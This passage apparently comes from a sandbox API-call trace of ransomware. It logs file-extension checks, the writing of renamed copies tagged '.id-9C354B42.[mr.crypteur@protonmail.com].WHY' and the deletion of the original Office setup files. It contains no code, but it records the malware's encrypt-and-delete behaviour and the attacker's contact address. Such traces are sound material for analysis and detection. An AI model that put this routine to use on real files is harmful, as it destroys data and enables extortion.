returned 4 [0074.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.597] lstrlenW (lpString=".zip") returned 4 [0074.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.597] lstrlenW (lpString=".rar") returned 4 [0074.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.597] lstrlenW (lpString=".bz2") returned 4 [0074.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.599] lstrlenW (lpString=".7z") returned 3 [0074.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.600] lstrlenW (lpString=".dbf") returned 4 [0074.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.600] lstrlenW (lpString=".1cd") returned 4 [0074.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.600] lstrlenW (lpString=".jpg") returned 4 [0074.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.601] lstrlenW (lpString=".doc") returned 4 [0074.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.601] lstrlenW (lpString=".docx") returned 5 [0074.601] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0074.601] lstrlenW (lpString=".pdf") returned 4 [0074.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.601] lstrlenW (lpString=".xls") returned 4 [0074.601] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.601] lstrlenW (lpString=".xlsx") returned 5 [0074.601] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0074.601] lstrlenW (lpString=".ppt") returned 4 [0074.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.967] lstrlenW (lpString=".zip") returned 4 [0074.967] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.967] lstrlenW (lpString=".rar") returned 4 [0074.967] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.967] lstrlenW (lpString=".bz2") returned 4 [0074.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.967] lstrlenW (lpString=".7z") returned 3 [0074.967] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.968] lstrlenW (lpString=".dbf") returned 4 [0074.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.968] lstrlenW (lpString=".1cd") returned 4 [0074.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0074.968] lstrlenW (lpString=".jpg") returned 4 [0074.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.968] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.969] lstrlenW (lpString="web.xml") returned 7 [0074.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.416] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=207) returned 1 [0075.416] CloseHandle (hObject=0x1c8) returned 1 [0075.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0075.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0075.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0075.416] lstrlenW (lpString=".doc") returned 4 [0075.417] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.417] lstrlenW (lpString=".docx") returned 5 [0075.417] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0075.417] lstrlenW (lpString=".pdf") returned 4 [0075.417] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.417] lstrlenW (lpString=".xls") returned 4 [0075.417] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.417] lstrlenW (lpString=".xlsx") returned 5 [0075.417] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0075.417] lstrlenW (lpString=".ppt") returned 4 [0075.417] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0075.417] lstrlenW (lpString=".zip") returned 4 [0075.417] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.418] lstrlenW (lpString=".rar") returned 4 [0075.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.418] lstrlenW (lpString=".bz2") returned 4 [0075.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.418] lstrlenW (lpString=".7z") returned 3 [0075.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0075.418] lstrlenW (lpString=".dbf") returned 4 [0075.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0080.509] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.509] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0080.510] GetLastError () returned 0x0 [0080.510] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x545, lpOverlapped=0x0) returned 1 [0080.540] WriteFile (in: hFile=0x1fc, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0080.543] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0080.543] WriteFile (in: hFile=0x1fc, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0080.543] SetEndOfFile (hFile=0x1fc) returned 1 [0080.543] CloseHandle (hObject=0x1fc) returned 1 [0080.544] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.545] SetEndOfFile (hFile=0x1f4) returned 1 [0080.547] CloseHandle (hObject=0x1f4) returned 1 [0080.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0080.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0080.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.580] lstrlenW (lpString=".doc") returned 4 [0080.580] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.580] lstrlenW (lpString=".docx") returned 5 [0080.580] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0080.580] lstrlenW (lpString=".pdf") returned 4 [0080.580] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.580] lstrlenW (lpString=".xls") returned 4 [0080.580] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.580] lstrlenW (lpString=".xlsx") returned 5 [0080.580] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0080.581] lstrlenW (lpString=".ppt") returned 4 [0080.581] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.581] lstrlenW (lpString=".zip") returned 4 [0080.581] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.581] lstrlenW (lpString=".rar") returned 4 [0080.581] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.581] lstrlenW (lpString=".bz2") returned 4 [0080.581] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.581] lstrlenW (lpString=".7z") returned 3 [0080.581] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.581] lstrlenW (lpString=".dbf") returned 4 [0080.581] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.581] lstrlenW (lpString=".1cd") returned 4 [0080.582] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.582] lstrlenW (lpString=".jpg") returned 4 [0080.582] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.582] lstrlenW (lpString=".doc") returned 4 [0080.582] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.582] lstrlenW (lpString=".docx") returned 5 [0080.582] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0080.582] lstrlenW (lpString=".pdf") returned 4 [0080.582] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.582] lstrlenW (lpString=".xls") returned 4 [0080.582] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.583] lstrlenW (lpString=".xlsx") returned 5 [0080.583] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0080.583] lstrlenW (lpString=".ppt") returned 4 [0080.583] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.583] lstrlenW (lpString=".zip") returned 4 [0080.583] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.583] lstrlenW (lpString=".rar") returned 4 [0080.583] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.583] lstrlenW (lpString=".bz2") returned 4 [0080.583] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.583] lstrlenW (lpString=".7z") returned 3 [0080.583] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.583] lstrlenW (lpString=".dbf") returned 4 [0080.584] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.584] lstrlenW (lpString=".1cd") returned 4 [0080.584] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0080.584] lstrlenW (lpString=".jpg") returned 4 [0080.584] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.584] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0080.584] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0080.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0080.585] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1565) returned 1 [0080.585] CloseHandle (hObject=0x20c) returned 1 [0080.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0080.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0080.586] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.586] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.587] GetLastError () returned 0x0 [0080.587] ReadFile (in: hFile=0x20c, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x61d, lpOverlapped=0x0) returned 1 [0081.092] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x620, lpOverlapped=0x0) returned 1 [0081.095] ReadFile (in: hFile=0x20c, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0081.096] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.096] SetEndOfFile (hFile=0x1e0) returned 1 [0081.118] CloseHandle (hObject=0x1e0) returned 1 [0081.121] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0081.122] SetEndOfFile (hFile=0x20c) returned 1 [0081.124] CloseHandle (hObject=0x20c) returned 1 [0081.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0081.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0081.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.126] lstrlenW (lpString=".doc") returned 4 [0081.126] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.126] lstrlenW (lpString=".docx") returned 5 [0081.126] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.126] lstrlenW (lpString=".pdf") returned 4 [0081.126] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.126] lstrlenW (lpString=".xls") returned 4 [0081.126] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.126] lstrlenW (lpString=".xlsx") returned 5 [0081.126] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.126] lstrlenW (lpString=".ppt") returned 4 [0081.126] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.126] lstrlenW (lpString=".zip") returned 4 [0081.126] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.127] lstrlenW (lpString=".rar") returned 4 [0081.127] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.127] lstrlenW (lpString=".bz2") returned 4 [0081.127] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.127] lstrlenW (lpString=".7z") returned 3 [0081.127] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.127] lstrlenW (lpString=".dbf") returned 4 [0081.127] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.127] lstrlenW (lpString=".1cd") returned 4 [0081.127] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.128] lstrlenW (lpString=".jpg") returned 4 [0081.128] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.128] lstrlenW (lpString=".doc") returned 4 [0081.128] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.128] lstrlenW (lpString=".docx") returned 5 [0081.128] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.128] lstrlenW (lpString=".pdf") returned 4 [0081.128] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.128] lstrlenW (lpString=".xls") returned 4 [0081.128] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.129] lstrlenW (lpString=".xlsx") returned 5 [0081.129] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.129] lstrlenW (lpString=".ppt") returned 4 [0081.129] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.129] lstrlenW (lpString=".zip") returned 4 [0081.129] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.129] lstrlenW (lpString=".rar") returned 4 [0081.129] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.129] lstrlenW (lpString=".bz2") returned 4 [0081.129] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.129] lstrlenW (lpString=".7z") returned 3 [0081.129] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.129] lstrlenW (lpString=".dbf") returned 4 [0081.130] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.130] lstrlenW (lpString=".1cd") returned 4 [0081.130] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0081.130] lstrlenW (lpString=".jpg") returned 4 [0081.130] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.362] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0081.362] lstrlenW (lpString="SETUP.XML") returned 9 [0081.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0081.364] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1452) returned 1 [0081.365] CloseHandle (hObject=0x1c8) returned 1 [0081.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0081.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0081.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0081.365] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0081.365] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0081.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" 